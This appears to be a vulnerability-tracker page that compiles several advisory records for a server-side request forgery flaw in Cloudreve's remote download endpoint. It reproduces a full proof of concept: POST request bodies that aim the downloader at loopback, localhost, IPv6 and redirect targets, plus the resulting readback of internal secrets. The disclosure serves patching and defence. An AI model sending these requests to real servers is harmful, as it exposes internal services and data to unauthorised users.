Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses
cve-program · CVE-2026-54562
PublishedCloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, Cloudreve's remote download workflow accepts user-supplied URLs at POST /api/v4/workflow/download and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets, allowing a non-admin user with remote download permission to fetch internal-only URLs and read the response after it is imported into the user's own files. This issue is fixed in version 4.16.1.
Read the publisher's advisoryeuvd · EUVD-2026-44687
PublishedCloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, Cloudreve's remote download workflow accepts user-supplied URLs at POST /api/v4/workflow/download and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets, allowing a non-admin user with remote download permission to fetch internal-only URLs and read the response after it is imported into the user's own files. This issue is fixed in version 4.16.1.
Read the publisher's advisorynvd · CVE-2026-54562
PublishedCloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, Cloudreve's remote download workflow accepts user-supplied URLs at POST /api/v4/workflow/download and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets, allowing a non-admin user with remote download permission to fetch internal-only URLs and read the response after it is imported into the user's own files. This issue is fixed in version 4.16.1.
Read the publisher's advisoryosv · GHSA-x756-g4x3-c64m
Published## Summary Cloudreve's remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets. When the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files. This does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator. ## Attacker requirements The attacker must be: - authenticated - non-admin - in a user group where `GroupPermissionRemoteDownload` is enabled Default normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default `User` group does not. ## Affected endpoint ```http POST /api/v4/workflow/download ``` Follow-up attacker readback was performed through normal workflow and file APIs: ```http GET /api/v4/workflow?category=downloaded... GET /api/v4/file?uri=cloudreve://my... POST /api/v4/file/url ``` ## Root cause The remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader. Relevant code paths: - `service/explorer/workflows.go:81` - `pkg/filemanager/workflows/remote_download.go:202` - `pkg/downloader/aria2/aria2.go:56` The application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses. ## Impact A non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment. In my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files. Confirmed targets: - `http://127.0.0.1:7777/secret2` - `http://localhost:7777/localsecret` - `http://[::1]:7780/v6secret` - redirect to `http://127.0.0.1:7777/redirsecret` This can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker. ## Reproduction ### 1. Permission negative control The attacker is a normal non-admin user in the default `User` group. Before enabling remote download for the group: ```http POST /api/v4/workflow/download Content-Type: application/json {"src":["http://127.0.0.1:7777/secret"],"dst":"cloudreve://my"} ``` Response: ```json {"code":40007,"msg":"Group not allowed to download files"} ``` ### 2. Enable only remote download permission for the non-admin group The default install grants remote download to the admin group only. The default `User` group does not have it. Confirmed in: - `inventory/migration.go:154` - `inventory/migration.go:179` For this test, I only changed group 2 permissions from: ```text hAg= ``` to: ```text hAo= ``` The attacker remained in the `User` group and was not made admin. `GET /api/v4/user/me` still returned the group name as `User`. ### 3. Start an internal listener Example listener on the Cloudreve host: ```text 127.0.0.1:7777 ``` The listener returned a marker response: ```text SSRF_SECRET_2_20260527 ``` ### 4. Queue a remote download to loopback ```http POST /api/v4/workflow/download Content-Type: application/json {"src":["http://127.0.0.1:7777/secret2"],"dst":"cloudreve://my"} ``` Response: ```json {"code":0,"data":[{"id":"OzH4","status":"queued","type":"remote_download"}]} ``` The internal listener received the request: ```text 127.0.0.1 - - [27/May/2026 13:00:46] "GET /secret2 HTTP/1.1" 200 - ``` Aria2 completed the download: ```text Download complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2 ``` ### 5. Read the imported internal response as the attacker The task completed successfully: ```json {"id":"OzH4","status":"completed","summary":{"props":{"src_str":"http://127.0.0.1:7777/secret2","failed":0}}} ``` The attacker could list the imported file: ```json {"name":"secret2","path":"cloudreve://my/secret2"} ``` The attacker could then download and read the response body: ```text SSRF_SECRET_2_20260527 ``` ## Additional validated variants ### localhost Input: ```text http://localhost:7777/localsecret ``` Attacker readback: ```text LOCALHOST_SECRET_20260527 ``` ### Redirect to loopback Input: ```text http://127.0.0.1:7779/anything ``` Redirect: ```text 302 Location: http://127.0.0.1:7777/redirsecret ``` Attacker readback: ```text REDIR_SECRET_20260527 ``` ### IPv6 localhost Input: ```text http://[::1]:7780/v6secret ``` Attacker readback: ```text IPV6_SECRET_20260527 ``` ## Expected behavior Cloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator. Redirect targets should be checked with the same policy. ## Actual behavior Cloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker's files, and allows the attacker to read it.
Read the publisher's advisoryosv · GO-2026-6023
PublishedCloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses in github.com/cloudreve/Cloudreve
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-54562
PublishedCloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses
Cloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, Cloudreve's remote download workflow accepts user-supplied URLs at POST /api/v4/workflow/download and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets, allowing a non-admin user with remote download permission to fetch internal-only URLs and read the response after it is imported into the user's own files. This issue is fixed in version 4.16.1.
- Source published
- 15 Jul 2026 14:37:37 UTC
- Source modified
- 15 Jul 2026 15:00:16 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
euvd · EUVD-2026-44687
PublishedCloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, Cloudreve's remote download workflow accepts user-supplied URLs at POST /api/v4/workflow/download and passes them to the configured downloader without blocking …
Cloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, Cloudreve's remote download workflow accepts user-supplied URLs at POST /api/v4/workflow/download and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets, allowing a non-admin user with remote download permission to fetch internal-only URLs and read the response after it is imported into the user's own files. This issue is fixed in version 4.16.1.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jul 15, 2026, 2:37:37 PM
dateUpdated: Jul 15, 2026, 3:00:16 PM
- Source published
- Jul 15, 2026, 2:37:37 PM (timezone not stated)
- Source modified
- Jul 15, 2026, 3:00:16 PM (timezone not stated)
- Saved here
- 23 Nov 2026 17:30:50 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
nvd · CVE-2026-54562
PublishedCloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, Cloudreve's remote download workflow accepts user-supplied URLs at POST /api/v4/workflow/download and passes them to the configured downloader without blocking …
Cloudreve is a self-hosted file management and sharing system. Prior to 4.16.1, Cloudreve's remote download workflow accepts user-supplied URLs at POST /api/v4/workflow/download and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets, allowing a non-admin user with remote download permission to fetch internal-only URLs and read the response after it is imported into the user's own files. This issue is fixed in version 4.16.1.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-918
Original publisher date fields
published: 2026-07-15T15:16:44.977
lastModified: 2026-07-15T18:15:13.373
- Source published
- 15 Jul 2026 15:16:44 UTC
- Source modified
- 15 Jul 2026 18:15:13 UTC
- Saved here
- 25 Oct 2026 13:17:28 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
osv · GHSA-x756-g4x3-c64m
PublishedCloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses
## Summary Cloudreve's remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets. When the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files. This does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator. ## Attacker requirements The attacker must be: - authenticated - non-admin - in a user group where `GroupPermissionRemoteDownload` is enabled Default normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default `User` group does not. ## Affected endpoint ```http POST /api/v4/workflow/download ``` Follow-up attacker readback was performed through normal workflow and file APIs: ```http GET /api/v4/workflow?category=downloaded... GET /api/v4/file?uri=cloudreve://my... POST /api/v4/file/url ``` ## Root cause The remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader. Relevant code paths: - `service/explorer/workflows.go:81` - `pkg/filemanager/workflows/remote_download.go:202` - `pkg/downloader/aria2/aria2.go:56` The application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses. ## Impact A non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment. In my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files. Confirmed targets: - `http://127.0.0.1:7777/secret2` - `http://localhost:7777/localsecret` - `http://[::1]:7780/v6secret` - redirect to `http://127.0.0.1:7777/redirsecret` This can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker. ## Reproduction ### 1. Permission negative control The attacker is a normal non-admin user in the default `User` group. Before enabling remote download for the group: ```http POST /api/v4/workflow/download Content-Type: application/json {"src":["http://127.0.0.1:7777/secret"],"dst":"cloudreve://my"} ``` Response: ```json {"code":40007,"msg":"Group not allowed to download files"} ``` ### 2. Enable only remote download permission for the non-admin group The default install grants remote download to the admin group only. The default `User` group does not have it. Confirmed in: - `inventory/migration.go:154` - `inventory/migration.go:179` For this test, I only changed group 2 permissions from: ```text hAg= ``` to: ```text hAo= ``` The attacker remained in the `User` group and was not made admin. `GET /api/v4/user/me` still returned the group name as `User`. ### 3. Start an internal listener Example listener on the Cloudreve host: ```text 127.0.0.1:7777 ``` The listener returned a marker response: ```text SSRF_SECRET_2_20260527 ``` ### 4. Queue a remote download to loopback ```http POST /api/v4/workflow/download Content-Type: application/json {"src":["http://127.0.0.1:7777/secret2"],"dst":"cloudreve://my"} ``` Response: ```json {"code":0,"data":[{"id":"OzH4","status":"queued","type":"remote_download"}]} ``` The internal listener received the request: ```text 127.0.0.1 - - [27/May/2026 13:00:46] "GET /secret2 HTTP/1.1" 200 - ``` Aria2 completed the download: ```text Download complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2 ``` ### 5. Read the imported internal response as the attacker The task completed successfully: ```json {"id":"OzH4","status":"completed","summary":{"props":{"src_str":"http://127.0.0.1:7777/secret2","failed":0}}} ``` The attacker could list the imported file: ```json {"name":"secret2","path":"cloudreve://my/secret2"} ``` The attacker could then download and read the response body: ```text SSRF_SECRET_2_20260527 ``` ## Additional validated variants ### localhost Input: ```text http://localhost:7777/localsecret ``` Attacker readback: ```text LOCALHOST_SECRET_20260527 ``` ### Redirect to loopback Input: ```text http://127.0.0.1:7779/anything ``` Redirect: ```text 302 Location: http://127.0.0.1:7777/redirsecret ``` Attacker readback: ```text REDIR_SECRET_20260527 ``` ### IPv6 localhost Input: ```text http://[::1]:7780/v6secret ``` Attacker readback: ```text IPV6_SECRET_20260527 ``` ## Expected behavior Cloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator. Redirect targets should be checked with the same policy. ## Actual behavior Cloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker's files, and allows the attacker to read it.
- Source published
- 20 Jul 2026 21:16:51 UTC
- Source modified
- 22 Jul 2026 21:11:18 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Publisher rating · MODERATE
osv · GO-2026-6023
PublishedCloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses in github.com/cloudreve/Cloudreve
Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses in github.com/cloudreve/Cloudreve
- Source published
- 22 Jul 2026 20:36:35 UTC
- Source modified
- 22 Jul 2026 21:00:24 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.